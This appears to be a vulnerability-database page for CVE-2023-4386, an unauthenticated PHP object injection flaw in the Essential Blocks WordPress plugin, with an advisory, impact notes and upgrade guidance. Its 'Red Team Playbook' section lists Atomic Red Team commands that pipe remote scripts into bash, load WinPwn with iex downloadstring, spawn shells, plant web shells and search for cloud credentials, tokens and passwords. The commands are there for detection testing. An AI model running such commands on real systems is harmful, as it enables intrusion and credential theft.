CVE-2023-4386
Overview
This vulnerability is a PHP Object Injection caused by unsafe deserialization of untrusted input within the get_posts function of the Essential Blocks Pro WordPress plugin. The flaw arises from improper handling of serialized PHP objects, allowing injection of crafted objects. The affected component is the plugin's post retrieval API, specifically in versions up to and including 4.2.0.
Vulnerability Description
The Essential Blocks plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.2.0 via deserialization of untrusted input in the get_posts function. This allows unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An attacker with network access can exploit this vulnerability without authentication or user interaction (AV:N/PR:N/UI:N). Successful exploitation may allow deletion of arbitrary files, disclosure of sensitive information, or remote code execution if a POP chain exists in the environment. This can lead to data breaches, service disruption, or full system compromise, as indicated by the CVSS vector with high confidentiality, integrity, and availability impacts (C:H/I:H/A:H).
Solution
Upgrade the Essential Blocks Pro plugin to a version later than 4.2.0 where this vulnerability is patched. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/af468f83-d6ad-474c-bf7f-c4eeb6df1b54) for detailed patch instructions and verification steps. No official workaround is documented; applying the vendor update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Essential Blocks plugin for WordPress is rooted in a flaw related to PHP Object Injection, specifically through the deserialization of untrusted input within the get_posts function. This issue arises when user inputs are not properly validated before being processed, allowing an attacker to craft a malicious payload that can be deserialized into a PHP object. The lack of a proper validation mechanism means that an attacker can manipulate the input to create an object that the application does not expect, potentially leading to unauthorized actions within the application’s context. Although the vulnerable plugin does not have a proof-of-concept (POP) chain on its own, the risk escalates significantly when combined with other plugins or themes that may have exploitable chains.
Attack vectors for this vulnerability are particularly concerning due to the ability for unauthenticated users to exploit it. An attacker can leverage the deserialization flaw by sending crafted requests to the affected function, which may allow them to inject arbitrary PHP objects into the application. If the target environment includes additional plugins or themes that utilize the injected objects in a way that can be exploited, the attacker could execute a range of malicious actions. These actions might include deleting files, retrieving sensitive information, or even executing arbitrary code on the server. The potential for exploitation is exacerbated by the wide usage of WordPress and its plugins, making this vulnerability a significant concern for many websites.
The real-world impact of this vulnerability can be severe for businesses relying on the Essential Blocks plugin. Given the high CVSS score of 8.1, the risk level is categorized as high, indicating that successful exploitation could lead to critical security breaches. For organizations, the consequences may include data loss, unauthorized access to sensitive information, and significant reputational damage. Furthermore, the financial implications of a breach can be substantial, encompassing costs related to incident response, legal liabilities, and potential regulatory fines. The widespread nature of WordPress as a content management system means that many organizations could be at risk, particularly if they do not maintain up-to-date security practices.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Essential Blocks plugin and other associated plugins or themes is crucial to ensure that any known vulnerabilities are patched. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests that may attempt to exploit this flaw. Monitoring logs for unusual activity, particularly around the get_posts function, can also aid in early detection of potential exploitation attempts. Furthermore, developers should adopt secure coding practices, including input validation and sanitization, to prevent similar vulnerabilities from being introduced in the future.
In conclusion, the PHP Object Injection vulnerability within the Essential Blocks plugin poses a significant threat to WordPress installations. The ability for unauthenticated attackers to exploit this flaw, particularly in conjunction with other plugins or themes, underscores the importance of proactive security measures. Organizations must prioritize timely updates, robust monitoring, and secure coding practices to mitigate the risks associated with such vulnerabilities. By doing so, they can protect their digital assets and maintain the integrity of their online presence.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpdeveloper | Essential Blocks | All |
cpe:2.3:a:wpdeveloper:essential_blocks:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-4386 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/af468f83-d6ad-474c-bf7f-c4eeb6df1b54?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/essential-blocks/trunk/includes/API/PostBlock.php?rev=2950425#L30 |